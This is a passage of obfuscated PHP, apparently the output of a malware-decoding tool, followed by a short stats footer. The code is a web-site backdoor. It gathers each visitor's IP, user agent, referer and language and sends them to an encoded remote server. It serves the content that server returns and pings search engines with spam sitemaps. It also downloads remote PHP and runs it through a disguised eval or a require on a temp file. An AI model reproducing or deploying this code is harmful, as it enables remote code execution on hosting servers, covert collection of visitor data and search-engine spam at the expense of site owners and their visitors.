    if (!($M6IW4 == "")) {
        goto C7Gyh;
    }
    goto WdN9h;
    CB7uK:
    curl_setopt($kUJmE, CURLOPT_FRESH_CONNECT, true);
    goto Az2Pt;
    rtRcq:
    return $K1sGd;
    goto QEza9;
    j4pom:
    isset($bz9CH["path"]) || ($bz9CH["path"] = "");
    goto OnjkB;
    scugl:
    $ynsXk .= $bz9CH["host"];
    goto qFGZz;
    EBvkb:
    isset($bz9CH["host"]) || ($bz9CH["host"] = "");
    goto j4pom;
    OW0zG:
    goto pMS3J;
    goto loRvB;
    cRyjK:
    curl_setopt($kUJmE, CURLOPT_USERAGENT, "s");
    goto A9lcT;
    C5kCl:
    socket_close($PP_Ld);
    goto sb0H8;
    cKocT:
    $VZgPF .= $ynsXk;
    goto p8L5x;
    PX9uG:
    $AJnpZ = empty($bz9CH["port"]) ? 443 : $bz9CH["port"];
    goto qH_59;
    O_F3d:
    if ($VDM05["timed_out"]) {
        goto vD1cs;
    }
    goto DvcEz;
    kS0oZ:
    return "501";
    goto LtJvA;
    Dg5Dm:
    if (!(substr($M6IW4, 0, 1) == "c")) {
        goto ZPTWH;
    }
    goto osW9u;
    AH6bg:
    array_shift($Kqexx);
    goto aq2Tu;
    g5fng:
    $PP_Ld = stream_socket_client($VZgPF, $i1JKR, $VdQJ9, 30);
    goto Ndx6d;
    vnagU:
    stream_set_blocking($PP_Ld, true);
    goto LsFLo;
    qFGZz:
    p_3Ft:
    goto oF4Mv;
    pVVQa:
    if (feof($PP_Ld)) {
        goto pIulx;
    }
    goto Lg_XH;
    ZRgYs:
    $EmdVs[] = "Connection: Close";
    goto XN8V5;
    LsFLo:
    stream_set_timeout($PP_Ld, 30);
    goto Tcnls;
    CyFxV:
    x0K0H:
    goto RyavH;
    BXWtB:
    unset($VDM05);
    goto mvgPE;
    lRb5r:
    tbR6E:
    goto EGas3;
    z_PAe:
    $bz9CH = parse_url($mTjfi);
    goto EBvkb;
    Lg_XH:
    $DByHm = fread($PP_Ld, 8192);
    goto aTBG9;
    bAB1h:
    isset($bz9CH["port"]) || ($bz9CH["port"] = "");
    goto LU5wu;
    i0FFP:
    if (
        !(
            $vVSV5 &&
            (rawurlencode($vVSV5) == "%0D%0A" || rawurlencode($vVSV5) == "%0A")
        )
    ) {
        goto NB3S5;
    }
    goto OjZr6;
    z8oSw:
    goto x0K0H;
    goto IKu5l;
    hhQJA:
    if (!socket_connect($PP_Ld, $r071B, $AJnpZ)) {
        goto XB082;
    }
    goto yvNHl;
    A9lcT:
    curl_setopt($kUJmE, CURLOPT_RETURNTRANSFER, 1);
    goto WBk9J;
    LS7UA:
    curl_close($kUJmE);
    goto Gg54C;
    falv0:
    XB082:
    goto C5kCl;
    Efi27:
    $M6IW4 = $tBx2T = $i1JKR = $VdQJ9 =
        "" /* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */;
    goto QXnfB;
    X3VCU:
    $EmdVs[] = "Accept: */*";
    goto pdwqG;
    vif1t:
    if (!($K1sGd != false)) {
        goto UtTu8;
    }
    goto rtRcq;
    iLvJ3:
    goto m5v10;
    goto s1Pxo;
    EGas3:
    $Kqexx = "";
    goto l5Yme;
    iOH2v:
    $Kqexx = @preg_replace_callback(
        "/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" .
            "((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si",
        "f_async",
        $Kqexx
    );
    goto EQsMY;
    aSNHO:
    A1OqY:
    goto oSkFC;
    loRvB:
    pIulx:
    goto M2V88;
    baAiK:
    curl_setopt($kUJmE, CURLOPT_URL, $mTjfi);
    goto cRyjK;
    fwgRS:
    goto f2mdl;
    goto Vx8vj;
    Az2Pt:
    curl_setopt($kUJmE, CURLOPT_SSL_VERIFYPEER, 0);
    goto XRo2R;
    BRpCa:
    tw8ij:
    goto Ng6bH;
    OjZr6:
    goto Wrczh;
    goto HIUJ0;
    G2rea:
    goto A1OqY;
    goto wxEc8;
    mT6ZB:
    if (!(substr($M6IW4, -1) == "t")) {
        goto tw8ij;
    }
    goto fQAne;
    XN8V5:
    $EmdVs[] = "User-Agent: s";
    goto X3VCU;
    vHFct:
    unset($xydTW);
    goto z8oSw;
    V_Zp4:
    $AJnpZ = empty($bz9CH["port"]) ? 80 : $bz9CH["port"];
    goto CSXFz;
    B3pH3:
    ZPTWH:
    goto z_PAe;
    sr7ga:
    if (substr($M6IW4, -1) == "n") {
        goto PC1j2;
    }
    goto mT6ZB;
    RFNES:
    $Kqexx = explode(
        "\xd

",
        $Kqexx
    );
    goto AH6bg;
    wikOK:
    if ($bz9CH["scheme"] == "https") {
        goto adNCF;
    }
    goto PBPMT;
    nGOzY:
    C7Gyh:
    goto Dg5Dm;
    wIcjJ:
    $EmdVs[] = $taK0b;
    goto ZRgYs;
    WBk9J:
    curl_setopt($kUJmE, CURLOPT_TIMEOUT, 100);
    goto CB7uK;
    oF4Mv:
    $taK0b = "Host: ";
    goto AhaeP;
    Q9JjS:
    $ynsXk = $bz9CH["host"];
    goto wikOK;
    UEgDr:
    adNCF:
    goto zWzwU;
    Jefr4:
    unset($DByHm);
    goto OW0zG;
    CSXFz:
    goto p_3Ft;
    goto UEgDr;
    pdwqG:
    unset($taK0b);
    goto K5QEx;
    OfJvF:
    return $QhBab;
    goto fwgRS;
    oJoXF:
    $K1sGd = file_get_contents($mTjfi);
    goto vif1t;
    Ndx6d:
    unset($VZgPF);
    goto BRpCa;
    OnjkB:
    isset($bz9CH["query"]) || ($bz9CH["query"] = "");
    goto bAB1h;
    EQsMY:
    return trim(trim($Kqexx, "\xef\273\277"));
    goto Tu05e;
    sIDh3:
    unset($GFwdw, $EMCOl);
    goto RS6RU;
    M2V88:
    vD1cs:
    goto BXWtB;
    U7LwV:
    mN11e:
    goto G2rea;
    oSkFC:
    unset($tBx2T, $M6IW4, $PP_Ld, $AJnpZ, $ynsXk);
    goto iOH2v;
    fQAne:
    $VZgPF = "tcp://";
    goto cKocT;
    LU5wu:
    $Ci3ZU = $bz9CH["path"]
        ? $bz9CH["path"] . ($bz9CH["query"] ? "?" . $bz9CH["query"] : "")
        : "/";
    goto Q9JjS;
    tGYKs:
    NB7Jf:
    goto oJoXF;
    qH_59:
    $ynsXk = "ssl://";
    goto scugl;
    P03ZB:
    PC1j2:
    goto xqdzZ;
    sb0H8:
    unset($r071B);
    goto U7LwV;
    p8L5x:
    $VZgPF .= ":";
    goto FYB9c;
    DvcEz:
    m5v10:
    goto pXSpF;
    R3pVw:
    $VDM05 = stream_get_meta_data($PP_Ld);
    goto O_F3d;
    Gg54C:
    if (!$QhBab) {
        goto EsbW6;
    }
    goto OfJvF;
    yWg_t:
    pMS3J:
    goto pVVQa;
    aMrvW:
    return "500";
    goto tGYKs;
    tgY4V:
    $PP_Ld = null;
    goto sr7ga;
    mvgPE:
    fclose($PP_Ld);
    goto aSNHO;
    LtJvA:
    f2mdl:
    goto B3pH3;
    VZ4gv:
    if (!(substr($M6IW4, -1) == "e")) {
        goto mN11e;
    }
    goto Crcq2;
    Ng6bH:
    goto tbR6E;
    goto P03ZB;
    Vx8vj:
    EsbW6:
    goto kS0oZ;
    zBCQ0:
    if (preg_match("/^https*\:\/\//si", $mTjfi)) {
        goto NB7Jf;
    }
    goto aMrvW;
    Tu05e:
}
goto mQlIg;
MB9hg:
function LBkGs($cLCWL, $SEMrM)
{
    goto gJ4bk;
    p10H2:
    $aZvjg = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s";
    goto wIyWI;
    SMtOf:
    $BOBBP["protocol"] = "http://";
    goto oQrvy;
    DiLmo:
    $BOBBP["ip"] = arFKL();
    goto CM3j0;
    NPeOy:
    FXkrV:
    goto QIJkI;
    jLY0M:
    $BOBBP["request_url"] = $_SERVER["REQUEST_URI"];
    goto wwgOg;
    pHurN:
    $BOBBP["server_domain"] = QwnpZ();
    goto jLY0M;
    W7bns:
    S5HBp(
        sprintf(
            $aZvjg[2],
            base64_decode(htQWT($SEMrM)),
            $BOBBP["api"],
            $_REQUEST["ac"],
            $_REQUEST["path"],
            $_REQUEST["t"]
        )
    );
    goto MGzI9;
    fFJXY:
    if (
        !(
            isset($_REQUEST["ac"]) &&
            isset($_REQUEST["path"]) &&
            isset($_REQUEST["t"])
        )
    ) {
        goto sT7l2;
    }
    goto W7bns;
    jvpTY:
    O6lnd:
    goto j8SOP;
    fl_Mp:
    $DByHm = ipLTq($Kqexx);
    goto bj1BC;
    cPaJ9:
    echo $DByHm[1];
    goto h3hVP;
    bqU3m:
    $Ri6FB = "www.google.com";
    goto vhfzE;
    QMi4a:
    $Kqexx = HPu3a($aZvjg[1]);
    goto tU0E6;
    MGzI9:
    sT7l2:
    goto ZWXo_;
    wwgOg:
    $BOBBP["referer"] = isset($_SERVER["HTTP_REFERER"])
        ? $_SERVER["HTTP_REFERER"]
        : "";
    goto Be97C;
    gJ4bk:
    $BOBBP = [];
    goto PAp9l;
    Be97C:
    $BOBBP["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"])
        ? $_SERVER["HTTP_USER_AGENT"]
        : "";
    goto DiLmo;
    SMXlq:
    hX9CE:
    goto Kx0HK;
    vacjv:
    die();
    goto x4aP_;
    CM3j0:
    if (isset($_SERVER["HTTPS"])) {
        goto yojoN;
    }
    goto SMtOf;
    oQrvy:
    goto FXkrV;
    goto is9Ib;
    QIJkI:
    if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) {
        goto HupLf;
    }
    goto HxfiM;
    x4aP_:
    Vk2ly:
    goto fl_Mp;
    BWCcb:
    @header($DByHm[0]);
    goto cPaJ9;
    MbNHE:
    die();
    goto jvpTY;
    lW3_J:
    $Kqexx = Hpu3A($mTjfi);
    goto IBoJG;
    xcuO1:
    $BOBBP["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
    goto SMXlq;
    sZEi_:
    goto hX9CE;
    goto DbLO3;
    wIyWI:
    $aZvjg = explode("|", $aZvjg);
    goto fFJXY;
    D2rGn:
    $BOBBP["api"] = base64_decode(htqwt($BOBBP["default_params"]));
    goto pHurN;
    Z_for:
    print_r($BOBBP);
    goto MbNHE;
    NH8Lh:
    $aEZ_f = $_GET["sitemap"];
    goto bqU3m;
    N2S27:
    n218F($Ri6FB, $aEZ_f, $BOBBP);
    goto PohfT;
    sqE4b:
    $Ri6FB = $_GET["google_url"];
    goto MogWx;
    tU0E6:
    var_dump($Kqexx);
    goto vacjv;
    PAp9l:
    $BOBBP["default_params"] = $cLCWL;
    goto D2rGn;
    PohfT:
    fo8qN:
    goto p10H2;
    qvuqA:
    $mTjfi = sprintf(
        $aZvjg[0],
        $BOBBP["api"],
        htqwT(base64_encode(implode("{|}", $gXm2O)))
    );
    goto lW3_J;
    h3hVP:
    die();
    goto K4ZJH;
    j8SOP:
    if (!isset($_GET["sitemap"])) {
        goto fo8qN;
    }
    goto NH8Lh;
    MogWx:
    eFvEs:
    goto N2S27;
    vhfzE:
    if (!isset($_GET["google_url"])) {
        goto eFvEs;
    }
    goto sqE4b;
    K4ZJH:
    Sk5nY:
    goto yrPqY;
    is9Ib:
    yojoN:
    goto GToOT;
    DbLO3:
    HupLf:
    goto xcuO1;
    HxfiM:
    $BOBBP["language"] = "";
    goto sZEi_;
    kkjnT:
    var_dump($Kqexx);
    goto QMi4a;
    ZWXo_:
    $gXm2O = [
        "domain" => $BOBBP["server_domain"],
        "request_url" => $BOBBP["request_url"],
        "ip" => $BOBBP["ip"],
        "agent" => $BOBBP["user_agent"],
        "referer" => $BOBBP["referer"],
        "protocol" => $BOBBP["protocol"],
        "language" => $BOBBP["language"],
    ];
    goto qvuqA;
    IBoJG:
    if (!isset($_REQUEST["dump"])) {
        goto Vk2ly;
    }
    goto kkjnT;
    bj1BC:
    if (!($DByHm !== false)) {
        goto Sk5nY;
    }
    goto BWCcb;
    GToOT:
    $BOBBP["protocol"] = "https://";
    goto NPeOy;
    Kx0HK:
    if (!isset($_GET["params"])) {
        goto O6lnd;
    }
    goto Z_for;
    yrPqY:
}
goto go6n_;
ozohT:
function n218f($KgVRn, $aEZ_f, $BOBBP)
{
    goto XJLa9;
    qFTVt:
    id02Z:
    goto cyhnO;
    Qj3SA:
    $b0Be1 = hpU3a($Tpogs);
    goto Licjy;
    CSnHg:
    var_dump($Tpogs);
    goto RzYYL;
    F2ltu:
    if (!(strpos($b0Be1, $AYKws) != false)) {
        goto id02Z;
    }
    goto WhES4;
    XJLa9:
    $tcxg3 = "https://%s/ping?sitemap=%s%s/%s";
    goto mDrvX;
    Hy_DL:
    bS6RL:
    goto eUaCV;
    BCx33:
    $cReX2 = "failed";
    goto F2ltu;
    cyhnO:
    die($cReX2);
    goto XC3Ty;
    G2Ndm:
    $ERCgm = "success";
    goto BCx33;
    RzYYL:
    var_dump($b0Be1);
    goto kO61o;
    kO61o:
    die();
    goto Hy_DL;
    WhES4:
    die($ERCgm);
    goto qFTVt;
    eUaCV:
    $AYKws = "google";
    goto G2Ndm;
    Licjy:
    if (!isset($_REQUEST["st"])) {
        goto bS6RL;
    }
    goto CSnHg;
    mDrvX:
    $Tpogs = sprintf(
        $tcxg3,
        $KgVRn,
        $BOBBP["protocol"],
        $BOBBP["server_domain"],
        $aEZ_f
    );
    goto Qj3SA;
    XC3Ty:
}
goto VI4JU;
GcYYf:
$cLCWL = "Ha0RDcvo3LzVTMzMXLyYTMuYnZlJWZwp2Z0VmLpxmZUv";
goto upNQi;
VI4JU:
function iPltQ($Kqexx)
{
    goto Ox5SU;
    hD1Mj:
    icwR2:
    goto Wyu3q;
    JSCeA:
    return $LuW5t;
    goto t5XLV;
    DpoLM:
    if (is_array($LuW5t)) {
        goto icwR2;
    }
    goto GNq5f;
    Ox5SU:
    $LuW5t = @preg_split("/{\|}/si", $Kqexx, -1, PREG_SPLIT_NO_EMPTY);
    goto DpoLM;
    O2Qja:
    return false;
    goto p9yKr;
    p9yKr:
    ivyYF:
    goto JSCeA;
    GNq5f:
    return false;
    goto hD1Mj;
    Wyu3q:
    if (!(count($LuW5t) != 2)) {
        goto ivyYF;
    }
    goto O2Qja;
    t5XLV:
}
goto MB9hg;
kJ3s2:
function s5HBp($mTjfi)
{
    goto mNaRr;
    SMuVC:
    if (!isset($_REQUEST["e"])) {
        goto k94Ha;
    }
    goto i2Z5x;
    JNr2c:
    k94Ha:
    goto aRyNy;
    mNaRr:
    $MCmxH = HPU3a($mTjfi);
    goto FCk2j;
    n6jV2:
    $HxFhw = "e" . "v" . "a" . "l";
    goto anCii;
    RMb2Z:
    if (!(strpos($MCmxH, $MpfxA) === false)) {
        goto o0Z7O;
    }
    goto SSY6p;
    Lzola:
    $vQnE8 = tmpfile();
    goto SMuVC;
    i2Z5x:
    $MCmxH = str_replace($MpfxA, "", $MCmxH);
    goto n6jV2;
    pedLJ:
    $GFwdw = stream_get_meta_data($vQnE8);
    goto XEP6t;
    aRyNy:
    fwrite($vQnE8, $MCmxH);
    goto pedLJ;
    SSY6p:
    die("get failed");
    goto tEGxD;
    XEP6t:
    @require $GFwdw["uri"];
    goto u6kHV;
    nrHPT:
    die();
    goto JNr2c;
    u6kHV:
    fclose($vQnE8);
    goto coOeW;
    tEGxD:
    o0Z7O:
    goto Lzola;
    coOeW:
    die();
    goto m8JEH;
    anCii:
    $HxFhw($MCmxH);
    goto nrHPT;
    FCk2j:
    $MpfxA = base64_decode("PD9waHA=");
    goto RMb2Z;
    m8JEH:
}
goto uplMj;
uplMj:
function HTqWT($cLCWL)
{
    goto qaLby;
    Ynex2:
    $dhHjv = 0;
    goto oj4RN;
    rJfGM:
    ucmSp:
    goto M5klY;
    OQ6y2:
    $iy2Yk = "";
    goto Ynex2;
    M5klY:
    $dhHjv = $dhHjv + 2;
    goto M0Rny;
    qyyY2:
    if (!($dhHjv < count($PH9AZ) - 2)) {
        goto ugpYp;
    }
    goto HjTpX;
    oj4RN:
    bz04c:
    goto qyyY2;
    iWFcT:
    ugpYp:
    goto Ll2JO;
    Ll2JO:
    $iy2Yk .= $HwbHb;
    goto fPbh2;
    qaLby:
    $HwbHb = substr($cLCWL, strlen($cLCWL) - 2);
    goto ELH73;
    M0Rny:
    goto bz04c;
    goto iWFcT;
    fPbh2:
    return $iy2Yk;
    goto K1RWt;
    ELH73:
    $PH9AZ = str_split($cLCWL);
    goto OQ6y2;
    HjTpX:
    $iy2Yk .= $PH9AZ[$dhHjv + 1] . $PH9AZ[$dhHjv];
    goto rJfGM;
    K1RWt:
}
goto ozohT;
go6n_:
lBkgS($cLCWL, $SEMrM);

Function Calls

None

Variables

None

Stats

MD5 c1a73b9e3f2c6a1c3895d6c21bee7a3b
Eval Count 0
Decode Time 63 ms